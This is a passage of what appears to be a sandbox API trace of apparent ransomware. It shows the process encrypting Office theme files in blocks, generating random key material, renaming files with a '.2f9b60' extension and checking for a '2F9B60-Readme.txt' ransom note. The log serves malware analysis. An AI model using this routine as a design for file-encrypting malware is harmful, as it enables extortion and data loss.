NtPathName=0x24f6f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\d40665f40ffc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106e80 [0088.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.853] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x24f6fa58, FileInformation=0x24f6fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24f6fa58, FileInformation=0x24f6fa68) returned 0x0 [0088.853] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x24f6fa58, FileInformation=0x24f6fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2210) returned 1 [0088.855] FlushFileBuffers (hFile=0xa44) returned 1 [0088.858] CloseHandle (hObject=0xa44) returned 1 [0088.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.859] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.859] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784c70) returned 1 Thread: id = 340 os_tid = 0xe80 [0088.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx")) returned 0x20 [0088.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx", dwFileAttributes=0x20) returned 1 [0088.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.815] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x1d09fdc0 | out: lpFileSize=0x1d09fdc0*=53984) returned 1 [0088.815] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xd2dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.815] ReadFile (in: hFile=0xa3c, lpBuffer=0x1d09fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d09fd88, lpOverlapped=0x0 | out: lpBuffer=0x1d09fd40*, lpNumberOfBytesRead=0x1d09fd88*=0x4, lpOverlapped=0x0) returned 1 [0088.819] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0088.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a150 [0088.820] NtQuerySystemTime (in: CurrentTime=0x1d09fc80 | out: CurrentTime=0x1d09fc80*=132462176946838000) returned 0x0 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x2f2ca50e [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0xebebdce [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x51527d8a [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x572c54c8 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x79b272c2 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x50d0c01f [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x48ccc3b5 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x3de3363c [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x785bacc2 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x649f5441 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x4bf9a35f [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x66722193 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x2a85628e [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x17ef2278 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x76463130 [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x348e263a [0088.820] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x492ba8e0 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x3a68ed15 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x66f874ea [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x4704eb4e [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x32cb3249 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x15607c06 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x70e0cb8c [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x44bfb366 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x39cb34f4 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x4244a5f1 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x16abb87c [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x50d235c5 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x16600ada [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x358069bf [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x7a26c238 [0088.821] RtlRandomEx (in: Seed=0x1d09fc70 | out: Seed=0x1d09fc70) returned 0x599f60bf [0088.845] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.845] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce68940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d09fce0, lpOverlapped=0x0 | out: lpBuffer=0x1ce68940*, lpNumberOfBytesRead=0x1d09fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.847] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0088.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0088.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.848] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d09fce0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x1d09fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce68940) returned 1 [0088.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0088.857] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.857] WriteFile (in: hFile=0xa3c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x1d09fd90, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x1d09fd90*=0x104, lpOverlapped=0x0) returned 1 [0088.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0088.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0088.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0088.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0088.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0088.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85a270 [0088.862] sprintf (in: _Dest=0x1b85a270, _Format="%c%c" | out: _Dest="3b") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a272, _Format="%c%c" | out: _Dest="73") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a274, _Format="%c%c" | out: _Dest="37") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a276, _Format="%c%c" | out: _Dest="b9") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a278, _Format="%c%c" | out: _Dest="2f") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a27a, _Format="%c%c" | out: _Dest="38") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a27c, _Format="%c%c" | out: _Dest="64") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a27e, _Format="%c%c" | out: _Dest="bc") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a280, _Format="%c%c" | out: _Dest="8c") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a282, _Format="%c%c" | out: _Dest="92") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a284, _Format="%c%c" | out: _Dest="1b") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a286, _Format="%c%c" | out: _Dest="60") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a288, _Format="%c%c" | out: _Dest="83") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a28a, _Format="%c%c" | out: _Dest="ea") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a28c, _Format="%c%c" | out: _Dest="d1") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a28e, _Format="%c%c" | out: _Dest="82") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a290, _Format="%c%c" | out: _Dest="9b") returned 2 [0088.862] sprintf (in: _Dest=0x1b85a292, _Format="%c%c" | out: _Dest="10") returned 2 [0088.862] RtlInitAnsiString (in: DestinationString=0x1d09fe08, SourceString="3b7337b92f3864bc8c921b6083ead1829b10" | out: DestinationString="3b7337b92f3864bc8c921b6083ead1829b10") [0088.862] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d09fdd8, SourceString="3b7337b92f3864bc8c921b6083ead1829b10", AllocateDestinationString=1 | out: DestinationString="3b7337b92f3864bc8c921b6083ead1829b10") returned 0x0 [0088.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d370 [0088.863] wcscat (in: _Dest=0x1b7ad2a0, _Source="3b7337b92" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3b7337b92") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3b7337b92" [0088.863] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3b7337b92.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3b7337b92.2f9b60" [0088.863] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3b7337b92.2f9b60", NtPathName=0x1d09fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\3b7337b92.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106e80 [0088.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.867] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x1d09fe18, FileInformation=0x1d09fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d09fe18, FileInformation=0x1d09fe28) returned 0x0 [0088.867] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x1d09fe18, FileInformation=0x1d09fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d370) returned 1 [0088.869] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.871] CloseHandle (hObject=0xa3c) returned 1 [0088.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.874] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.874] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784d00) returned 1 Thread: id = 341 os_tid = 0xe84 [0088.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx")) returned 0x20 [0088.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx", dwFileAttributes=0x20) returned 1 [0088.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.879] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x24edf760 | out: lpFileSize=0x24edf760*=393281) returned 1 [0088.879] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x6003d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.880] ReadFile (in: hFile=0xa3c, lpBuffer=0x24edf6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24edf728, lpOverlapped=0x0 | out: lpBuffer=0x24edf6e0*, lpNumberOfBytesRead=0x24edf728*=0x4, lpOverlapped=0x0) returned 1 [0088.881] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0088.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0088.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.882] NtQuerySystemTime (in: CurrentTime=0x24edf620 | out: CurrentTime=0x24edf620*=132462176947462000) returned 0x0 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x31558125 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x587010a0 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x142c89cd [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0xff2132d [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x57081d03 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x1600e39c [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x4263e763 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x7162f83b [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x13428748 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x3b34799 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x1787ff10 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x6efec3ec [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x512f9350 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x33a5910d [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x6263ba8e [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x486840c [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x60333b4c [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x56cd43b1 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x505edeae [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x96e5c50 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x66d324da [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x159ad00f [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x3c2950b [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x512bde7b [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x508d6a5c [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x48f0a24a [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x1e8eedf0 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x5562aa80 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x906bfa8 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0xbd19051 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x2cf153b5 [0088.882] RtlRandomEx (in: Seed=0x24edf610 | out: Seed=0x24edf610) returned 0x273a7cf9 [0088.895] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.895] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24edf680, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x24edf680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.897] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0088.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2d0) returned 1 [0088.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0088.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.898] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24edf680, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x24edf680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.901] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.901] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24edf680, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x24edf680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.916] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce68940 [0088.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0088.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.917] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce68940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24edf680, lpOverlapped=0x0 | out: lpBuffer=0x1ce68940*, lpNumberOfBytesWritten=0x24edf680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce68940) returned 1 [0088.921] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x5c441, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.921] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24edf680, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x24edf680*=0x3c00, lpOverlapped=0x0) returned 1 [0088.922] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x5c441, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0088.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce68940 [0088.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0088.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0088.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.923] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce68940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24edf680, lpOverlapped=0x0 | out: lpBuffer=0x1ce68940*, lpNumberOfBytesWritten=0x24edf680*=0x3c00, lpOverlapped=0x0) returned 1 